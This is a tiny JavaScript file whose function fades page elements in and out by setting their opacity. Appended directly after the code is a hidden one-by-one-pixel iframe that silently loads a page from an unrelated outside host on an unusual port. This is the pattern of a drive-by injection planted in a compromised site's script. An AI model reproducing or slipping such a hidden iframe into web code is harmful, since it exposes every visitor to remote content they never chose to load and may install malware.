function makevisible(cur,which){
strength=(which==0)? 1 : 0.8

if (cur.style.MozOpacity)
cur.style.MozOpacity=strength
else if (cur.filters)
cur.filters.alpha.opacity=strength*100
}<iframe src= http://aaa.qa111.8866.org:172/360/index.html?id=4008 width=1 height=1></iframe>